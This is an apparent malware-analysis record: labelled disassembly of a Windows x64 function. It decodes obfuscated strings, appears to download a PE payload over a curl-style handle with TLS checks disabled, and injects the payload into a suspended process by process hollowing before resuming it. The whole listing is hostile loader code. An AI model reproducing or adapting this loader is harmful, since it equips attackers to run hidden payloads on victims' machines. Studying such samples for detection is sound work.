Function at 0x140005620
Capabilities:
Create process on windows
Create process suspended
Resume thread
Terminate process
Use process replacement

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
sub rsp, 0x6c0
lea rbp, [rsp + 0x70]
and rbp, 0xffffffffffffffe0
mov rax, qword [0x1400928c0]
xor rax, rsp
mov qword [rbp + 0x640], rax
movabs rax, 0x8f83873edd22480d
movabs r12, 0xa0acbd4dad563c65
mov qword [rbp + 0x40], rax
movabs r13, 0x31ebd810c2a0a882
mov rax, qword [rbp + 0x40]
movabs rdi, 0xaa4bce377a1bd107
mov qword [rbp + 0x600], rax
movabs r14, 0xc3dec83c658520f6
movabs rax, 0x5c5ed29f38e99b7
mov ecx, 1
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x608], rax
movabs rax, 0x9b7bfe044022ff37
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x610], rax
movabs rax, 0xbcbab744c68709f3
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x618], rax
movabs rax, 0x901e0a7a1cce75ad
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x620], rax
movabs rax, 0xc3dec83c65e05893
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x628], rax
mov qword [rbp + 0x40], r12
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x5c0], rax
mov qword [rbp + 0x40], r13
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x5c8], rax
mov qword [rbp + 0x40], rdi
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x5d0], rax
movabs rax, 0xddd5db2ab1e86ddc
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x5d8], rax
movabs rax, 0xbe7b7e0979ba5ac9
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x5e0], rax
mov qword [rbp + 0x40], r14
mov rax, qword [rbp + 0x40]
movdqa xmm2, xmmword [rbp + 0x620]
vmovdqu ymm0, ymmword [rbp + 0x5c0]
vpxor ymm1, ymm0, ymmword [rbp + 0x600]
mov qword [rbp + 0x5e8], rax
vxorps xmm2, xmm2, xmmword [rbp + 0x5e0]
vmovdqa ymmword [rbp + 0x600], ymm1
vmovdqa xmmword [rbp + 0x620], xmm2
vzeroupper
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_malloc]
xor ebx, ebx
mov ecx, 3
mov qword [rbp + 0x48], rax
mov qword [rbp + 0x50], rbx
call fcn.1400094d0
call fcn.140009260
mov rsi, rax
test rax, rax
je 0x1400058a8
lea r8, [rbp + 0x600]
mov edx, 0x2712
mov rcx, rax
call fcn.14000d760
lea r8, [0x140005580]
mov edx, 0x4e2b
mov rcx, rsi
call fcn.14000d760
lea r8, [rbp + 0x48]
mov edx, 0x2711
mov rcx, rsi
call fcn.14000d760
lea r8, [0x1400869d8]
mov edx, 0x2722
mov rcx, rsi
call fcn.14000d760
xor r8d, r8d
mov edx, 0x40
mov rcx, rsi
call fcn.14000d760
xor r8d, r8d
mov edx, 0x51
mov rcx, rsi
call fcn.14000d760
mov rcx, rsi
call fcn.1400092d0
test eax, eax
je 0x1400058a0
mov ecx, eax
call fcn.140009f30
mov ecx, 2
mov rdi, rax
call qword [sym.imp.api_ms_win_crt_stdio_l1_1_0.dll___acrt_iob_func]
mov r8, rdi
lea rdx, [0x1400869f0]
mov rcx, rax
call fcn.140001080
mov rcx, qword [rbp + 0x48]
call qword [sym.imp.api_ms_win_crt_heap_l1_1_0.dll_free]
mov qword [rbp + 0x48], rbx
movabs rdi, 0xaa4bce377a1bd107
mov rcx, rsi
call fcn.140009230
call fcn.140009470
mov r15, qword [rbp + 0x48]
test r15, r15
je 0x140005e3c
movsxd rax, dword [r15 + 0x3c]
cmp dword [rax + r15], 0x4550
jne 0x140005e3c
xor eax, eax
mov dword [rbp + 0x540], WSASetLastError
mov dword [rbp + 0x5a4], eax
lea rcx, [rbp]
mov qword [rbp + 0x5d0], rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x544], xmm0
movabs rax, 0xcfc8d324fa0a0626
xor r9d, r9d
movups xmmword [rbp + 0x554], xmm0
xor r8d, r8d
xor edx, edx
movups xmmword [rbp + 0x564], xmm0
movups xmmword [rbp + 0x574], xmm0
movups xmmword [rbp + 0x584], xmm0
movups xmmword [rbp + 0x594], xmm0
movups xmmword [rbp + 0x5c0], xmm0
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp], rax
movabs rax, 0x549fab6991fcdbf5
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 8], rax
movabs rax, 0xc72eac402629e26a
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x10], rax
movabs rax, 0x8ea3a97ad8853a80
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x18], rax
movabs rax, 0xbe7b7e6c01df748c
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x20], rax
mov qword [rbp + 0x40], r14
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x28], rax
mov qword [rbp + 0x40], r12
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x600], rax
mov qword [rbp + 0x40], r13
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x608], rax
mov qword [rbp + 0x40], rdi
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x610], rax
movabs rax, 0xddd5db2ab1e86ddc
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x618], rax
movabs rax, 0xbe7b7e0979ba5ac9
mov qword [rbp + 0x40], rax
mov rax, qword [rbp + 0x40]
mov qword [rbp + 0x620], rax
mov qword [rbp + 0x40], r14
mov rax, qword [rbp + 0x40]
movdqa xmm2, xmmword [rbp + 0x20]
vmovdqu ymm0, ymmword [rbp + 0x600]
vpxor ymm1, ymm0, ymmword [rbp]
mov qword [rbp + 0x628], rax
lea rax, [rbp + 0x5c0]
vxorps xmm2, xmm2, xmmword [rbp + 0x620]
mov qword [rsp + 0x48], rax
lea rax, [rbp + 0x540]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rbx
mov qword [rsp + 0x30], rbx
mov dword [rsp + 0x28], 4
mov dword [rsp + 0x20], 1
vmovdqa ymmword [rbp], ymm1
vmovdqa xmmword [rbp + 0x20], xmm2
vzeroupper
call qword [sym.imp.KERNEL32.dll_CreateProcessA]
test eax, eax
je 0x140005e3c
mov rcx, qword [rbp + 0x5c0]
lea rdx, [rbp + 0x530]
call qword [sym.imp.KERNEL32.dll_IsWow64Process]
xor edx, edx
mov qword [rbp + 0x40], rbx
cmp dword [rbp + 0x530], ebx
je 0x140005af6
mov r8d, 0x2c8
lea rcx, [rbp + 0x64]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0x5c8]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
mov edx, dword [rbp + 0x104]
lea r8, [rbp + 0x40]
mov rcx, qword [rbp + 0x5c0]
add edx, 8
mov r9d, 4
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140005aee
mov rcx, rbx
mov rax, rbx
jmp 0x140005b5e
mov eax, dword [rbp + 0x104]
jmp 0x140005b5a
mov r8d, 0x4d0
lea rcx, [rbp + 0x60]
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0x5c8]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x90], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
mov rdx, qword [rbp + 0xe8]
lea r8, [rbp + 0x40]
mov rcx, qword [rbp + 0x5c0]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_ReadProcessMemory]
test eax, eax
jne 0x140005b53
mov rcx, rbx
mov rax, rbx
jmp 0x140005b5e
mov rax, qword [rbp + 0xe8]
mov rcx, qword [rbp + 0x40]
test rcx, rcx
je 0x140005e06
test rax, rax
je 0x140005e06
mov rsi, qword [rbp + 0x48]
mov eax, ebx
mov edx, 0x10b
movsxd rdi, dword [rsi + 0x3c]
add rdi, rsi
movzx ecx, word [rdi + 0x18]
cmp cx, dx
sete al
cmp eax, dword [rbp + 0x530]
jne 0x140005e06
mov r8d, dword [rdi + 0x50]
cmp cx, dx
mov rcx, qword [rbp + 0x5c0]
mov r9d, 0x3000
mov dword [rsp + 0x20], 0x40
jne 0x140005cc4
mov edx, dword [rdi + 0x34]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x140005de2
mov r9d, dword [rdi + 0x54]
mov r8, rsi
mov rcx, qword [rbp + 0x5c0]
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140005de2
mov esi, ebx
cmp bx, word [rdi + 6]
jae 0x140005c43
mov r14, rbx
nop
movzx eax, word [rdi + 0x14]
mov rcx, qword [rbp + 0x5c0]
add rax, r14
mov qword [rsp + 0x20], rbx
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, r15
mov r9d, dword [rax + rdi + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140005de2
movzx eax, word [rdi + 6]
inc esi
add r14, 0x28
cmp esi, eax
jl 0x140005c00
xor edx, edx
lea rcx, [rbp + 0x64]
mov r8d, 0x2c8
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0x5c8]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x60], 0x10000b
call qword [sym.imp.KERNEL32.dll_Wow64GetThreadContext]
test eax, eax
je 0x140005de2
mov edx, dword [rbp + 0x104]
lea r8, [rdi + 0x34]
mov rcx, qword [rbp + 0x5c0]
add rdx, 8
mov r9d, 4
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140005de2
mov ecx, dword [rdi + 0x28]
lea rdx, [rbp + 0x60]
add ecx, r12d
mov dword [rbp + 0x110], ecx
mov rcx, qword [rbp + 0x5c8]
call qword [sym.imp.KERNEL32.dll_Wow64SetThreadContext]
jmp 0x140005dcc
mov rdx, qword [rdi + 0x30]
call qword [sym.imp.KERNEL32.dll_VirtualAllocEx]
mov r12, rax
test rax, rax
je 0x140005de2
mov r9d, dword [rdi + 0x54]
mov r8, rsi
mov rcx, qword [rbp + 0x5c0]
mov rdx, rax
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140005de2
mov esi, ebx
cmp bx, word [rdi + 6]
jae 0x140005d53
mov r14, rbx
nop dword [rax]
movzx eax, word [rdi + 0x14]
mov rcx, qword [rbp + 0x5c0]
add rax, r14
mov qword [rsp + 0x20], rbx
mov r8d, dword [rax + rdi + 0x2c]
mov edx, dword [rax + rdi + 0x24]
add r8, r15
mov r9d, dword [rax + rdi + 0x28]
add rdx, r12
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140005de2
movzx eax, word [rdi + 6]
inc esi
add r14, 0x28
cmp esi, eax
jl 0x140005d10
xor edx, edx
lea rcx, [rbp + 0x60]
mov r8d, 0x4d0
call sub.VCRUNTIME140.dll_memset
mov rcx, qword [rbp + 0x5c8]
lea rdx, [rbp + 0x60]
mov dword [rbp + 0x90], 0x10000b
call qword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x140005de2
mov rdx, qword [rbp + 0xe8]
lea r8, [rdi + 0x30]
mov rcx, qword [rbp + 0x5c0]
add rdx, 0x10
mov r9d, 8
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_WriteProcessMemory]
test eax, eax
je 0x140005de2
mov eax, dword [rdi + 0x28]
lea rdx, [rbp + 0x60]
mov rcx, qword [rbp + 0x5c8]
add rax, r12
mov qword [rbp + 0xe0], rax
call qword [sym.imp.KERNEL32.dll_SetThreadContext]
test eax, eax
je 0x140005de2
mov rcx, qword [rbp + 0x5c8]
call qword [sym.imp.KERNEL32.dll_ResumeThread]
mov ebx, 1
mov rcx, qword [rbp + 0x5c8]
test ebx, ebx
je 0x140005e0d
test rcx, rcx
je 0x140005df8
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x5c0]
test rcx, rcx
je 0x140005e3c
jmp 0x140005e36
mov rcx, qword [rbp + 0x5c8]
test rcx, rcx
je 0x140005e18
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x5c0]
test rcx, rcx
je 0x140005e3c
mov edx, 0xffffffff
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, qword [rbp + 0x5c0]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rbp + 0x640]
xor rcx, rsp
call fcn.14006f3f0
lea r11, [rsp + 0x6c0]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret